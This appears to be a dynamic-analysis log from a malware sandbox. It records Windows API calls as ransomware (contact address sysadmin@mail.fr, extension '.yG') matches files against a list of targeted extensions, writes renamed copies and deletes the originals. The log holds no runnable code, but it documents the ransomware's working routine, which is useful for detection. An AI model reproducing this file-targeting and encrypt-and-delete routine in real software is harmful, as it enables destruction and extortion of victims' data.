	[0181.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0181.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0181.799] lstrlenW (lpString=".doc") returned 4
	[0181.799] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0181.799] lstrlenW (lpString=".docx") returned 5
	[0181.799] lstrcmpiW (lpString1=".docx", lpString2="7.tlb") returned -1
	[0181.799] lstrlenW (lpString=".pdf") returned 4
	[0181.799] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0181.799] lstrlenW (lpString=".xls") returned 4
	[0181.799] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0181.799] lstrlenW (lpString=".xlsx") returned 5
	[0181.800] lstrcmpiW (lpString1=".xlsx", lpString2="7.tlb") returned -1
	[0181.800] lstrlenW (lpString=".ppt") returned 4
	[0181.800] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0181.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0181.800] lstrlenW (lpString=".zip") returned 4
	[0181.800] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0181.800] lstrlenW (lpString=".rar") returned 4
	[0181.800] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0181.800] lstrlenW (lpString=".bz2") returned 4
	[0181.800] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0181.800] lstrlenW (lpString=".7z") returned 3
	[0181.800] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0181.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0181.800] lstrlenW (lpString=".dbf") returned 4
	[0181.800] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0181.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0181.800] lstrlenW (lpString=".1cd") returned 4
	[0181.800] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0181.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0181.800] lstrlenW (lpString=".jpg") returned 4
	[0181.800] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0181.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0181.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0181.800] lstrlenW (lpString=".doc") returned 4
	[0181.800] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0181.800] lstrlenW (lpString=".docx") returned 5
	[0181.801] lstrcmpiW (lpString1=".docx", lpString2="7.tlb") returned -1
	[0181.801] lstrlenW (lpString=".pdf") returned 4
	[0181.801] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0181.801] lstrlenW (lpString=".xls") returned 4
	[0181.801] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0181.801] lstrlenW (lpString=".xlsx") returned 5
	[0181.801] lstrcmpiW (lpString1=".xlsx", lpString2="7.tlb") returned -1
	[0181.801] lstrlenW (lpString=".ppt") returned 4
	[0181.801] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0181.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0181.801] lstrlenW (lpString=".zip") returned 4
	[0181.801] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0181.801] lstrlenW (lpString=".rar") returned 4
	[0181.801] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0181.801] lstrlenW (lpString=".bz2") returned 4
	[0181.801] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0181.801] lstrlenW (lpString=".7z") returned 3
	[0181.801] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0181.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0181.801] lstrlenW (lpString=".dbf") returned 4
	[0181.801] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0181.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0181.801] lstrlenW (lpString=".1cd") returned 4
	[0181.801] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0181.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0181.801] lstrlenW (lpString=".jpg") returned 4
	[0181.801] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0181.802] lstrcmpiW (lpString1=".tlb", lpString2=".yG") returned -1
	[0181.802] lstrlenW (lpString="msado28.tlb") returned 11
	[0181.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0181.802] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=70656) returned 1
	[0181.802] CloseHandle (hObject=0x36c) returned 1
	[0181.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20
	[0181.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0181.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0181.803] lstrlenW (lpString=".doc") returned 4
	[0181.803] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0181.803] lstrlenW (lpString=".docx") returned 5
	[0181.803] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1
	[0181.803] lstrlenW (lpString=".pdf") returned 4
	[0181.803] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0181.803] lstrlenW (lpString=".xls") returned 4
	[0181.803] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0181.803] lstrlenW (lpString=".xlsx") returned 5
	[0181.803] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1
	[0181.803] lstrlenW (lpString=".ppt") returned 4
	[0181.803] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0181.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0181.803] lstrlenW (lpString=".zip") returned 4
	[0181.803] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0181.803] lstrlenW (lpString=".rar") returned 4
	[0181.803] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0181.803] lstrlenW (lpString=".bz2") returned 4
	[0181.803] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0181.803] lstrlenW (lpString=".7z") returned 3
	[0181.803] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0181.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0181.803] lstrlenW (lpString=".dbf") returned 4
	[0181.804] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0181.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0181.804] lstrlenW (lpString=".1cd") returned 4
	[0181.804] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0181.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0181.804] lstrlenW (lpString=".jpg") returned 4
	[0181.804] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0181.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0181.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0181.804] lstrlenW (lpString=".doc") returned 4
	[0181.804] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0181.804] lstrlenW (lpString=".docx") returned 5
	[0181.804] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1
	[0181.804] lstrlenW (lpString=".pdf") returned 4
	[0181.804] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0181.804] lstrlenW (lpString=".xls") returned 4
	[0181.804] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0181.804] lstrlenW (lpString=".xlsx") returned 5
	[0181.804] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1
	[0181.804] lstrlenW (lpString=".ppt") returned 4
	[0181.804] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0181.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0181.804] lstrlenW (lpString=".zip") returned 4
	[0181.804] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0181.804] lstrlenW (lpString=".rar") returned 4
	[0181.804] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0181.804] lstrlenW (lpString=".bz2") returned 4
	[0181.805] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0181.805] lstrlenW (lpString=".7z") returned 3
	[0181.805] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0181.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0181.805] lstrlenW (lpString=".dbf") returned 4
	[0181.805] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0181.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0181.805] lstrlenW (lpString=".1cd") returned 4
	[0181.805] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0181.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0181.805] lstrlenW (lpString=".jpg") returned 4
	[0181.805] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0181.805] lstrcmpiW (lpString1=".tlb", lpString2=".yG") returned -1
	[0181.805] lstrlenW (lpString="msado60.tlb") returned 11
	[0181.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0181.806] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=70656) returned 1
	[0181.806] CloseHandle (hObject=0x36c) returned 1
	[0181.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb")) returned 0x20
	[0181.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0181.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0181.806] lstrlenW (lpString=".doc") returned 4
	[0181.806] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0181.806] lstrlenW (lpString=".docx") returned 5
	[0181.806] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0181.807] lstrlenW (lpString=".pdf") returned 4
	[0181.807] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0181.807] lstrlenW (lpString=".xls") returned 4
	[0181.807] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0181.807] lstrlenW (lpString=".xlsx") returned 5
	[0181.807] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0181.807] lstrlenW (lpString=".ppt") returned 4
	[0181.807] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0181.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0181.807] lstrlenW (lpString=".zip") returned 4
	[0181.807] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0181.807] lstrlenW (lpString=".rar") returned 4
	[0181.807] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0181.807] lstrlenW (lpString=".bz2") returned 4
	[0181.807] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0181.807] lstrlenW (lpString=".7z") returned 3
	[0181.807] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0181.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0181.807] lstrlenW (lpString=".dbf") returned 4
	[0181.807] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0181.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0181.807] lstrlenW (lpString=".1cd") returned 4
	[0181.807] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0181.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0181.807] lstrlenW (lpString=".jpg") returned 4
	[0181.807] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0181.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0181.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0181.808] lstrlenW (lpString=".doc") returned 4
	[0181.808] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0181.808] lstrlenW (lpString=".docx") returned 5
	[0181.808] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0181.808] lstrlenW (lpString=".pdf") returned 4
	[0181.808] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0181.808] lstrlenW (lpString=".xls") returned 4
	[0181.808] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0181.808] lstrlenW (lpString=".xlsx") returned 5
	[0181.808] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0181.808] lstrlenW (lpString=".ppt") returned 4
	[0181.808] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0181.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0181.808] lstrlenW (lpString=".zip") returned 4
	[0181.808] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0181.808] lstrlenW (lpString=".rar") returned 4
	[0181.808] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0181.808] lstrlenW (lpString=".bz2") returned 4
	[0181.808] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0181.808] lstrlenW (lpString=".7z") returned 3
	[0181.808] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0181.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0181.808] lstrlenW (lpString=".dbf") returned 4
	[0181.808] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0181.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0181.808] lstrlenW (lpString=".1cd") returned 4
	[0181.808] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0181.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0181.809] lstrlenW (lpString=".jpg") returned 4
	[0181.809] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0181.809] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0181.809] lstrlenW (lpString="msadomd.dll") returned 11
	[0181.809] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0181.810] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=364032) returned 1
	[0181.810] CloseHandle (hObject=0x36c) returned 1
	[0181.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll")) returned 0x20
	[0181.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0181.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0181.810] lstrlenW (lpString=".doc") returned 4
	[0181.810] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.810] lstrlenW (lpString=".docx") returned 5
	[0181.810] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0181.810] lstrlenW (lpString=".pdf") returned 4
	[0181.810] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.810] lstrlenW (lpString=".xls") returned 4
	[0181.810] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.810] lstrlenW (lpString=".xlsx") returned 5
	[0181.810] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0181.810] lstrlenW (lpString=".ppt") returned 4
	[0181.811] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0181.811] lstrlenW (lpString=".zip") returned 4
	[0181.811] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0181.811] lstrlenW (lpString=".rar") returned 4
	[0181.811] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0181.811] lstrlenW (lpString=".bz2") returned 4
	[0181.811] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0181.811] lstrlenW (lpString=".7z") returned 3
	[0181.811] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0181.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0181.811] lstrlenW (lpString=".dbf") returned 4
	[0181.811] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0182.016] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.016] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.016] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0182.017] GetLastError () returned 0x0
	[0182.017] ReadFile (in: hFile=0x340, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x27040, lpOverlapped=0x0) returned 1
	[0182.079] WriteFile (in: hFile=0x358, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0x27050, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0x27050, lpOverlapped=0x0) returned 1
	[0182.083] ReadFile (in: hFile=0x340, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.084] WriteFile (in: hFile=0x358, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0182.084] SetEndOfFile (hFile=0x358) returned 1
	[0182.084] CloseHandle (hObject=0x358) returned 1
	[0182.084] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.084] SetEndOfFile (hFile=0x340) returned 1
	[0182.086] CloseHandle (hObject=0x340) returned 1
	[0182.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0182.086] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 1
	[0182.087] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0182.087] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0182.087] lstrlenW (lpString=".doc") returned 4
	[0182.087] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0182.087] lstrlenW (lpString=".docx") returned 5
	[0182.087] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0182.087] lstrlenW (lpString=".pdf") returned 4
	[0182.087] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0182.088] lstrlenW (lpString=".xls") returned 4
	[0182.088] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0182.088] lstrlenW (lpString=".xlsx") returned 5
	[0182.088] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0182.088] lstrlenW (lpString=".ppt") returned 4
	[0182.088] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0182.088] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0182.088] lstrlenW (lpString=".zip") returned 4
	[0182.088] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0182.088] lstrlenW (lpString=".rar") returned 4
	[0182.088] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0182.088] lstrlenW (lpString=".bz2") returned 4
	[0182.088] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0182.088] lstrlenW (lpString=".7z") returned 3
	[0182.088] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0182.088] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0182.088] lstrlenW (lpString=".dbf") returned 4
	[0182.088] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0182.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0182.089] lstrlenW (lpString=".1cd") returned 4
	[0182.089] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0182.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0182.089] lstrlenW (lpString=".jpg") returned 4
	[0182.089] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0182.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0182.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0182.089] lstrlenW (lpString=".doc") returned 4
	[0182.089] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0182.089] lstrlenW (lpString=".docx") returned 5
	[0182.089] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0182.089] lstrlenW (lpString=".pdf") returned 4
	[0182.089] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0182.089] lstrlenW (lpString=".xls") returned 4
	[0182.089] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0182.089] lstrlenW (lpString=".xlsx") returned 5
	[0182.089] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0182.090] lstrlenW (lpString=".ppt") returned 4
	[0182.090] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0182.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0182.090] lstrlenW (lpString=".zip") returned 4
	[0182.090] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0182.090] lstrlenW (lpString=".rar") returned 4
	[0182.090] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0182.090] lstrlenW (lpString=".bz2") returned 4
	[0182.090] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0182.090] lstrlenW (lpString=".7z") returned 3
	[0182.090] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0182.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0182.090] lstrlenW (lpString=".dbf") returned 4
	[0182.090] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0182.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0182.090] lstrlenW (lpString=".1cd") returned 4
	[0182.090] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0182.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0182.090] lstrlenW (lpString=".jpg") returned 4
	[0182.091] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0182.091] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0182.091] lstrlenW (lpString="deploy.dll") returned 10
